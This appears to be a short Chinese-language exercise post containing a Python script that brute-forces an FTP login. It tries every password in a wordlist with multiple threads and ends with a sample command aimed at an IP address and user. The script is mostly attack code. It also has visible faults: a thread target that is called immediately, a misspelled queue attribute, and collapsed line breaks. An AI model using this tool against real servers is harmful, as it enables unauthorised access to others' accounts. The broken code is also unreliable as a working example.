线程猜出FTP的密码
已知在某个文件内(wordlist.txt),ftp的密码为其中一个,快速找到ftp的密码, 线程数为50
import ftplib from threading import Thread import queue q = queue.Queue() port = 21 def connect_ftp(): global q while True: password = q.get() server = ftplib.FTP() print("尝试连接", password) try: server.connect(host, port, timeout=2) server.login(user, password) except ftplib.error_perm: pass else: print("主机%sftp的账号%s密码是%s" % (host, user, password)) with q.mutex: q.queue.clear() q.all_tasks_done.notify_all() q.unfinshed_tasks = 0 finally: q.task_done() if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description="破解ftp密码") parser.add_argument("host", help="主机名字或者IP地址") parser.add_argument("-U", "--user", help="ftp用户名") parser.add_argument('-p', "--pass_list", help="破解字典") parser.add_argument('-t', "--threads", help="开启线程数量") args = parser.parse_args() host = args.host user = args.user pass_list = args.pass_list n_threads = int(args.threads) # print(n_threads) print(pass_list) passwords = open(pass_list).read().split("\n") # 将密码添加到队列中 # print(passwords) for password in passwords: q.put(password) for t in range(n_threads): thread = Thread(target=connect_ftp()) # 设置为后台线程 thread.daemon = True thread.start() # 等待队列为空 q.join() # python password.py 192.100.99.240 -U 50927 -p wordlist.txt -t 50